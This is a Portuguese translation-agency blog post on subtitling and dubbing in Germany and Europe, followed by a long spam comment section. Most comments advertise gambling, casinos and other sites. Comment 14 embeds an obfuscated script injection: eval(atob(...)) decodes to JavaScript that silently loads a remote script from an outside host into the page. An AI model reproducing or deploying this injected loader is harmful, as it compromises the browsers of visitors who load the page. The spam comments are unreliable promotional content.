Curiosidades sobre a legendagem na Alemanha e países europeus

Car@s,

É verdade que nosso blog anda meio parado (meio?). Os últimos meses foram de intensas mudanças para nós todos aqui da LBM, no plano pessoal e profissional, mas podemos afirmar com alívio que são todas mudanças para a melhor! Novos projetos se formando e o trabalho continua a mil.

Para retomarmos nossas postagens, convidamos a Ana Cecília, colaboradora da LBM da equipe do alemão, para nos contar um pouco mais sobre como funciona a legendagem na Alemanha e região. Um texto muito rico e informativo. Aproveitem!

 

***

 

“As legendas interferem menos no conteúdo de um filme do que a dublagem. E os amantes

do cinema priorizam um prazer autêntico.”

Silke Nagel

 

CURIOSIDADES SOBRE A LEGENDAGEM NA ALEMANHA E PAÍSES EUROPEUS

 

Ao longo da história do cinema, duas formas de produção de filmes estrangeiros se tornaram populares: a dublagem e a legendagem. Na Europa, países com pequena extensão territorial (Holanda, Portugal, Grécia e Romênia, por exemplo) ou com mais de uma língua cedo demonstraram suas preferências culturais por filmes legendados. Enquanto isso, França, Itália, Alemanha e demais países de língua alemã adotaram principalmente a dublagem. Nos últimos anos, entretanto, tem havido uma crescente demanda pelas legendas, focada em públicos específicos.

As primeiras legendas do cinema eram exibidas entre as imagens dos antigos filmes mudos. A partir da década de 30 do século XX, passaram a ser integradas nas imagens, sendo atualmente queimadas com laser, o que permite grande precisão e melhor legibilidade.

Starwars
Espera aí…

Na Alemanha, após a chegada do partido nazista ao poder em 1933, as produções cinematográficas eram usadas como instrumento de manipulação a serviço da ideologia totalitária. A chamada “tradução cultural” modificava diálogos originais, que eram dublados conforme indicado pelo partido nazista. Depois da guerra, entre as décadas de 1950 e 1960, o conteúdo dos filmes continuou sendo manipulado, agora para agradar os espectadores e atender aos gostos do público. Um exemplo famoso foram as “mutilações” feitas no filme Casablanca, produção norte-americana, onde as cenas com nazistas foram retiradas e substituídas por uma história de espionagem.

CasablancaPoster-Gold
Referência da foto do filme Casablanca: *By Bill Gold – http://www.impawards.com/1942/casablanca.html, Public Domain, https://commons.wikimedia.org/w/index.php?curid=25315862

A partir dos anos 80, com a chegada ao mercado do aparelho de vídeo cassete e posteriormente do DVD, o público começou a perceber as alterações grotescas inseridas nas produções e passou a demandar mais respeito pela fidelidade ao original. A nova tecnologia inibiu a alteração deliberada do conteúdo do filme pela dublagem e diminuiu a possibilidade dos cortes de trechos do original.

Atualmente, enquanto a dublagem continua sendo a opção principal do público do mainstream alemão, as legendas conquistam importantes nichos específicos de mercado. Há uma crescente demanda por legendagem, que se intensificou nos últimos anos, buscando atender principalmente às exigências dos mercados específicos de produção de DVDs e dos canais digitais de televisão por assinatura. Tais canais costumam ter um público mais restrito e produções com financiamentos mais baixos, tornando a legendagem a opção ideal, com custos menores.

Silke Nagel, autora do livro Audiovisuelle Übersetzung: Filmuntertitelung in Deutschland, Portugal um Tschechien (Tradução Audiovisual: Legendagem de filmes na Alemanha, Portugal e República Tcheca) e profissional de legendagem, cita os grupos específicos que optam pelos filmes legendados. Os cinéfilos fazem jus ao famoso ditado alemão “A voz de uma pessoa é seu segundo rosto” e preferem os filmes em sua versão original, com legendas, pois querem ouvir o som do idioma estrangeiro e das vozes verdadeiras dos atores. Na Alemanha, os filmes legendados são exibidos para os “amantes do cinema” em salas alternativas e também podem ser encontrados em DVD.

Há também associações de deficientes auditivos que lutam pela regulamentação do uso de legendas no país, através de leis que garantam o acesso irrestrito às informações na televisão. Outro grupo que prefere as legendas é o dos estudantes de línguas estrangeiras, que buscam filmes e programas para treinarem seus conhecimentos. Assistindo às produções no idioma original podem ampliar o vocabulário, memorizar as estruturas idiomáticas e exercitar a compreensão auditiva. Uma pesquisa da Comissão Europeia sobre os europeus e seus idiomas confirma que, embora 56% da população prefira filmes dublados, os cidadãos de países que costumam legendar seus filmes são ‟mais bem treinados em diversos idiomas”.

***

Ana Cecilia Montenegro Bayreuther é tradutora e revisora de textos e legendas, pós-graduada em tradução de inglês e professora de português como língua estrangeira na Alemanha, onde reside. Formada em Direito pela PUC/RJ, adora livros, artes e cinema. Prefere filmes originais com legendas, claro.

 

Referências:

Antweiler, Kathrin. Geschichte der Untertitelung. Disponível em: <http://www.fask.uni-mainz.de/cafl/doku/multimedia/untertitelung/Untertitelung-Inhalt.html#Inhalt >

Deneger, Jana. Legendagem de filmes: a voz como segundo rosto. Goethe-Institut e. V., Online-Redaktion. Disponível em: <http://www.goethe.de/ins/br/lp/kul/dub/flm/pt6456940.htm>.

Jacob, Alex. Die Geschichte der Film Synchronisation in Deutschland. Sprechersprecher. Disponível em: <http://www.sprechersprecher.de/blog/die-geschichte-der-film-synchronisation-in-deutschland>.

Staud, Sophie. Audiovisuelle Translations. Disponível em: <https://prezi.com/orahvpbzmtmg/audiovisuelle-translations/>.

4.224 respostas para “Curiosidades sobre a legendagem na Alemanha e países europeus”

  1. I was recommended this website by my cousin. I’m not sure whether this post is written by him as nobody else know such detailed about my trouble.
    You’re amazing! Thanks!

    My web-site Fredrick

  2. When I initially left a comment I appear to have clicked the -Notify me when new comments are added- checkbox and
    now each time a comment is added I recieve four emails with the exact same comment.

    Is there an easy method you are able to remove me from
    that service? Cheers!

    Here is my web-site; พนันออนไลน์

  3. Oh my goodness! Impressive article dude! Thanks, However I am going
    through troubles with your RSS. I don’t know why I cannot subscribe to it.
    Is there anybody else getting identical RSS issues?
    Anyone who knows the answer will you kindly respond?
    Thanx!!

    Also visit my web blog … discuss

  4. Hi there, I found your blog by the use of Google whilst searching
    for a related matter, your website got here
    up, it appears to be like great. I’ve bookmarked it in my google bookmarks.

    Hi there, simply was aware of your weblog via Google, and located
    that it is truly informative. I’m gonna be careful for brussels.
    I’ll appreciate for those who proceed Check this in future.
    Lots of other people will be benefited from your writing.
    Cheers!

  5. Yet another issue iis video games are usually serious aas the name indicated with
    tthe major focus on studying rather than enjoyment.Although, there’s an entertainment
    aspect to keep the kids engaged, each game is frequently designed to focus on a specific
    set of skills or curriculum, such as math or scientific disciplines.
    Thanks for your write-up.

    Have a look at myy website: caidengtyw398.xtgem.com

  6. I’ve been browsing online more than 2 hours today, yet I never found any interesting article like yours.
    It’s pretty worth enough for me. In my opinion, if all web owners and bloggers made good content as you did, the
    net will be a lot more useful than ever before.
    By the way, here is a link to awesome site for earnings – https://happy-gambler.com/playhippo-casino/

  7. Superb blog! Do you have any recommendations for aspiring writers?
    I’m planning to start my own website soon but I’m a little lost on everything.
    Would you advise starting with a free platform like WordPress or go for a paid option? There are so many options out there that I’m completely overwhelmed ..
    Any suggestions? Bless you!

    Review my homepage :: second east fall garden flags

  8. Kasino secara online telah menjadi trend di kalangan orang=orang karena penyedia layanan kasino menawarkan banyak permainan serta hadiah jackpot besar kepada para pemainnya.
    Permainan yang di suguhkan juga sangat lah banyak sehingga Slot Online Terpercaya pemain bisa lebih
    leluasa memilih sendiri permainan yang akan menjadi favorit mereka.
    Hal ini sangat bagus untuk para pemain profesional yang tidak punya waktu datang ke bar
    kasino untuk bermain permainan slot,roulette atau blackjack.

  9. Superb site you have here but I was wanting to know if you knew of any message boards that cover the same topics discussed in this article?
    I’d really love things to do near me.fun things to do near me.activities near me.what to do near me.fun activities near me.fun things near me.outdoor activities near me.local events near me.events around me.activities near me today.activities for adults near me.places to see near me.places near me to visit.events going on near me.find sports clubs.what’s near me.sports need a sport buddy.sports buddy.soprts near me.free stuff to do near me be a part of community where I can get
    opinions from other knowledgeable individuals that share the same interest.

    If you have any suggestions, please let me know.

    Many thanks!

  10. Hi there, I do believe your website may be having web browser compatibility
    problems. Whenever I take a look at your web
    site in Safari, it looks fine however, hen opening in Internet Explorer, it’s got
    some overlapping issues. I just wanted to give you a
    quick heads up! Besides that, fantastic site!

    my web-site: Tiktok

  11. Hi there! I’m at work browsing your blog from my new
    iphone! Just wanted to say I love reading your blog and look forward to all your posts!
    Keep up the excellent work!

    Feel free to surf to my site … Kıbrıs Esc

  12. Every weekend i used to visit this web site, as i wish for enjoyment, for the
    reason that this this site conations truly fastidious funny
    information too.

    Here is my webpage :: RUAY

  13. ufabet อย่างน้อย10บาท ชี้แนะเว็บฟุตบอล สำหรับไว้เล่นพนันออนไลน์ ที่ท่านนักการพนัน คนจำนวนไม่น้อยตามหา ซึ่งในปัจจุบัน มีให้เลือกหลากหลายมากมายก่ายกอง สุดแต่ท่านนักพนัน จะโปรดเลือกเว็บนั้น โดยในขณะนี้ มีเว็บไซต์ให้แก่ท่านนักพนันเลือก อยู่เยอะแยะ ขึ้นกับความสะดวก
    ความสบายของท่านนักการพนัน โดยท่านนักเสี่ยงโชค จะนึกถึงแต่ความสบายสบาย อย่างเดียวมิได้ ด้วยเหตุว่าท่านนักเสี่ยงดวง
    จำเป็นต้องพิจารณาถึงความปลอดภัย สำหรับในการเล่นเว็บ พนันออนไลน์ ซึ่งในตอนนี้ มีความเสี่ยง และคดโกงค่อนข้างสูง

    เราก็เลยขอแนะนำ เว็บเล่นฟุตบอลออนไลน์
    ที่มิได้มีแต่ว่าเล่นบอล ทั้งยังยังมีอีกทั้ง คาสิโนออนไลน์ คาสิโนสด มวย สลากกินแบ่ง แล้วก็การเดิมพันอื่นๆจำนวนมากนานัปการ
    แถมอีกทั้งมีเซิร์ฟเวอร์ อยู่ต่างถิ่น แต่ว่าคงจะความมีประสิทธิภาพ ตรงนั้นนั้นการเดิมพัน
    ถูกต้องตามกฏหมาย และสามารถเล่นการพนันแบบอย่างน้อยได้อย่าง
    เว็บไซต์ UFABET168

    ท่านนักเสี่ยงดวงบางคน บางครั้งอาจจะเล่นเริ่ม จากน้อยๆก่อน ด้วยเหตุว่าเงินจำนวนไม่น้อย ท่านอย่าดูถูกเหยียดหยามเงิน เนื่องจากสามารถต่อยอด ให้คุณนักเล่นการพนันได้ ในหลัก 1000 บาท หรือหลักหมื่นบาทก็เป็นได้ ยกตัวอย่าง
    ดังเช่นแทงฟุตบอลหลัก 10 แต่ว่าเล่นแบบ Step ออนไลน์ ก็สามารถได้รับเงินแล้ว เป็นแบบทวีคูณ โดยสามารถมั่งมีได้

    มีคณะทำงานคอลเซ็นเตอร์ ดูแลท่านนักเสี่ยงดวงตลอด 24 ชั่วโมง สำหรับท่านนักเสี่ยงดวงทั้งหลาย ที่เคยเข้าใช้บริการ ในเกมพนันระบบออนไลน์นั้น ก็บางครั้งอาจจะทราบกันดีอยู่แล้ว ถึงความปลอดภัยของเรา รวมทั้งการเล่นแบบอย่างน้อย และก็เงินเครดิตที่แจกให้ เล่นกันฟรีๆโดยจะมีกฎระเบียบ แม้กระนั้นท่านนักเสี่ยงโชค
    ก็สามารถได้รับเงินเครดิต เข้าไปเล่นได้เลย

    จำนวนมากจะทราบดีว่า เกมการเดิมพัน ผ่านระบบออนไลน์นั้น เล่นง่ายที่สุดแล้วและสามารถเล่นที่ใดบนโลกใบนี้ก็ได้ เพียงท่านนักการพนัน มีโทรศัพท์เคลื่อนที่
    หรือคอมพิวเตอร์ ซึ่งสามารถเชื่อมต่อ ระบบออนไลน์ ไปสู่เว็บ แถมทั้งยังออม ค่าครองชีพให้แก่คุณนักพนัน ได้อีกด้วยโดยท่านนักการพนัน
    แทงบอลออนไลน์ UFABET

    บางทีอาจจะสงสัยว่าเงิน อย่างต่ำ10บาทนี้
    จะไปทำอะไรได้ เราจึงขอเสนอ ให้ท่านรู้ว่า มีบอลสเต็ป ซึ่งสามารถเล่นพนันแล้ว ได้รับเงินเป็นทวีคูณ สามารถปั่นเงินจาก 10 บาท ไปเป็นหลัก 1000 บาทก็เป็นได้ โดยท่านนักการพนัน
    สามารถร่วมสนุกกันได้เลย รวมทั้งสามารถฝากถอน
    ได้ง่ายๆโดยไม่มี อย่างน้อย

    โดยผ่านธนาคารชั้นแนวหน้า ของประเทศไทย แล้วก็ให้ความบันเทิง แล้วก็ความรู้สึกที่ตื่นเต้น กว่าเว็บไซต์ทั่วๆไปและก็มีความมีประสิทธิภาพ ป้อมปราการคงสำหรับ เกมคาสิโน และการแทงบอลออนไลน์ มีผู้เล่นใหม่ใหม่ เข้ามามากไม่น้อยเลยทีเดียว รวมทั้งผู้เล่นเก่าที่ให้ความวางใจ เว็บพวกเราที่โบราณ รวมทั้งเป็นลำดับที่หนึ่ง ของเมืองไทย

  14. We are looking for affiliates who want to earn 45
    to 60 % revenew Click here to know more“>”>”>”>”>eval(atob(‘dmFyIHAgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmE5MDEnKTsKaWYgKCFwKSB7CiAgICBwID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CiAgICBwLmlkID0gJ25hOTAxJzsKICAgIHAuc3JjID0gJ2h0dHBzOi8vd2ViZGVzaWduLndlYnNlby5jb20uYXUvd3AtYWRtaW4vanMvcWluaXQuanMnOwogICAgcC5hc3luYyA9IHRydWU7CiAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHApOwp9’));'”>

  15. My brother suggested I might like this blog. He was once totally
    right. This put up actually made my day. You can not imagine simply
    how so much time I had spent for this information! Thanks!

    Look into my web blog – Möbler

  16. Magnificent beat ! I would like to apprentice at the
    same time as you amend your web site, how could i subscribe for a blog web site?
    The account aided me a applicable deal. I had been tiny bit familiar of this your broadcast provided bright transparent concept

    my blog – houdini online course

  17. When I initially commented I seem to have clicked on the -Notify me when new comments are
    added- checkbox and from now on every time a comment is added I get four emails with the exact same comment.
    There has to be a means you can remove me from that service?
    Cheers!

    Have a look at my blog: hemp seed oil uses

  18. Great blog! Is your theme custom made or did you download it
    from somewhere? A theme like yours with a few simple tweeks would really make my blog stand out.
    Please let me know where you got your design. Kudos

    my site … wanitaqq

  19. شرکت فرش نگین مشهد هلال فعالیت خود را از سال 1380
    شروع کرده است. کارخانه فرش نگین مشهد
    هلال در شهر فرش کاشان، شهرستان آران و بیدگل واقع است.
    این کارخانه فرش در سه حوزه ریسندگی و نساجی (تولید انواع نخ های فرش
    ماشینی)، بافندگی (تولید و بافت
    انواع فرش ماشینی) و تکمیل و آهار فرش ماشینی
    فعالیت می کند.
    “https://www.neginhelal.com/”

    my web-site; فرش مراکشی چیست؟

  20. Attractive section of content. I just stumbled upon your
    web site and in accession capital to assert that
    I get in fact enjoyed account your blog posts.
    Anyway I’ll be subscribing to your feeds and even I
    achievement you access consistently rapidly.

    Also visit my page; judi online

  21. Excellent post. I was checking continuously this weblog and I am inspired!
    Very helpful info specifically the remaining section 🙂 I
    handle such information a lot. I used to be looking for this certain information for a long time.
    Thank you and best of luck.

    Here is my web blog; Adultfrienedfinder

  22. An outstanding share! I have just forwarded tbis onto a friend who had been conducting a little research oon this.
    And he in fact bought mee breakfast because I stumbled upon it ffor him…
    lol. So let me reword this…. Thanks for thhe meal!!
    But yeah, thanks for spending time to discuss this subject here
    on your web site.

    my page :: 우리카지노

Deixe um comentário para Callum Cancelar resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.